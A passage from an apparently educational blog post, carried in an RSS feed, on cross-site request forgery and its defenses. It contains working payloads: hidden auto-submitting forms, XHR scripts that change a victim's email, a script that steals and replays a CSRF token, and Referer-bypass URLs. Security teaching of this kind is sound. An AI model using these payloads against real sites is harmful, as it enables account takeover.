action=&quot;http://example.com/change-email&quot; method=&quot;POST&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;old&quot; value=&quot;victim@example.com&quot;&gt;<br>  &lt;input type=&quot;email&quot; name=&quot;new&quot; value=&quot;attacker@example.com&quot; style=&quot;display:none&quot;&gt;<br>  &lt;img src=x onerror=&quot;csrf-form.submit();&quot;&gt;<br>&lt;/form&gt;</pre><p>Another exploit can be done using the attribute <strong>autofocus</strong> and the related event handler <strong>onfocus</strong>:</p><pre>&lt;form id=&quot;csrf-form&quot; action=&quot;http://example.com/change-email&quot; method=&quot;POST&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;old&quot; value=&quot;victim@example.com&quot;&gt;<br>  &lt;input type=&quot;email&quot; name=&quot;new&quot; value=&quot;attacker@example.com&quot; style=&quot;display:none&quot; autofocus onfocus=&quot;document.getElementById(&#39;csrf-form&#39;).submit()&quot;&gt;<br>&lt;/form&gt;</pre><p>Additionally, an attacker can craft a malicious script that uses <strong>XMLHttpRequest</strong> also known as <strong>AJAX with XHR</strong>, to send HTTP requests to the server without reloading the entire webpage.</p><pre>&lt;script&gt;<br>  // Create a new XMLHttpRequest object<br>  var xhr = new XMLHttpRequest();<br><br>  // Prepare the request<br>  xhr.open(&#39;POST&#39;, &#39;http://example.com/change-email&#39;, true);<br><br>  // Set the Content-Type header<br>  xhr.setRequestHeader(&#39;Content-Type&#39;, &#39;application/x-www-form-urlencoded&#39;);<br><br>  // Construct the request body<br>  var params = &#39;old=victim@example.com&amp;new=attacker@example.com&#39;;<br><br>  // Send the request<br>  xhr.send(params);<br>&lt;/script&gt;</pre><h4>Common Defenses against CSRF Attacks:</h4><p>To safeguard against CSRF attacks, websites and browsers implement various defenses:</p><p><strong>CSRF Tokens</strong>: Websites generate unique secret tokens that clients must include with their requests. Without the correct token, requests are rejected, making it hard for attackers to forge valid requests.</p><p><strong>SameSite Cookies</strong>: Browsers can restrict when cookies are sent in cross-site requests. This helps prevent unauthorized actions by limiting cookie usage to the originating website.</p><p><strong>Referer-based Validation</strong>: Some sites check the Referer header to ensure requests come from their own domain. While helpful, this method isn’t as reliable as CSRF token validation.</p><p>While CSRF tokens, SameSite cookies, and Referer-based validation are effective defenses, they can be bypassed if misconfigured.</p><h4>Predictible CSRF Tokens:</h4><p>In some cases, websites implement CSRF protection by including a unique token in each form submission. This token is typically stored in a hidden input field within the form and is validated on the server side to prevent CSRF attacks.</p><pre>&lt;form action=&quot;http://example.com/change-email&quot; method=&quot;POST&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;ff2e06e5bf1e58a94238284990bf8b97&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;old&quot; value=&quot;victim@example.com&quot;&gt;<br>  &lt;input type=&quot;email&quot; name=&quot;new&quot; placeholder=&quot;example@example.com&quot; required&gt;<br>  &lt;input type=&quot;submit&quot; value=&quot;Change Email&quot;&gt;<br>&lt;/form&gt;<br></pre><p>Despite the presence of a CSRF token, an attacker can still exploit CSRF vulnerabilities if they can retrieve the token from the HTML source. Once obtained, the attacker can construct a malicious request to perform unauthorized actions on behalf of the victim.</p><pre>&lt;script&gt;<br>function changeEmail(token) {<br>  // Create a new XMLHttpRequest object for the POST request<br>  var xhr = new XMLHttpRequest();<br><br>  // Prepare the POST request to change the email<br>  xhr.open(&#39;POST&#39;, &#39;http://example.com/change-email&#39;, true);<br><br>  // Set the Content-Type header<br>  xhr.setRequestHeader(&#39;Content-Type&#39;, &#39;application/x-www-form-urlencoded&#39;);<br><br>  // Construct the request body including the CSRF token<br>  var params = &#39;old=victim@example.com&amp;new=attacker@example.com&amp;csrf_token=&#39; + token;<br><br>  // Send the POST request<br>  xhr.send(params);<br>}<br><br>// Create a new XMLHttpRequest object to fetch the page containing the form<br>var xhr = new XMLHttpRequest();<br>xhr.onreadystatechange = function() {<br>  if (xhr.readyState == 4) {<br>    var htmlSource = xhr.responseText;<br>    var parser = new DOMParser();<br>    var htmlDoc = parser.parseFromString(htmlSource, &quot;text/html&quot;);<br>    var tokenInput = htmlDoc.getElementById(&#39;csrftoken&#39;);<br>    if (tokenInput) {<br>      var token = tokenInput.value;<br>      changeEmail(token);<br>    } else {<br>      console.error(&#39;CSRF token input element not found.&#39;);<br>    }<br>  }<br>};<br><br>// Send the GET request to fetch the page containing the form<br>xhr.open(&#39;GET&#39;, &#39;http://example.com/change-email&#39;, true);<br>xhr.send();<br>&lt;/script&gt;</pre><h4>Referrer / Origin check bypass</h4><p>Some applications implement naive validation checks on the Referer header, which can be exploited by attackers. For instance, if an application checks whether the domain in the Referer starts with an expected value, an attacker can leverage subdomains to deceive the validation process:</p><pre>http://example.com.attacker-website.com/csrf-attack</pre><p>Similarly, if the application merely validates that the Referer contains its own domain name, attackers can manipulate the URL by placing the required value elsewhere:</p><pre>http://attacker-website.com/csrf-attack?example.com</pre><p>In both scenarios, attackers exploit weaknesses in Referer header validation to execute CSRF attacks, bypassing the application’s security measures.</p><h3>Mitigate Cross-Site Request Forgery (CSRF) attacks</h3><ol><li>Synchronizer Token Pattern (STP): Generate unique CSRF tokens on the server, verifying their authenticity with each request.</li><li>Double Submit Cookies: Issue two cookies — one for authentication and another for CSRF protection — validating the token’s integrity upon request submission.</li><li>Referer Header Checking: Examine the Referer header to ensure requests originate from expected domains, though be aware of its limitations and potential for manipulation.</li><li>Custom Header Checking: Utilize custom HTTP headers for request validation, enhancing security beyond standard Referer header checks.</li><li>Secure Session Management: Implement robust session management practices, including session expiration, regeneration, and secure cookie handling, to mitigate session fixation attacks and enhance overall security.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a4b3d07ed860" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>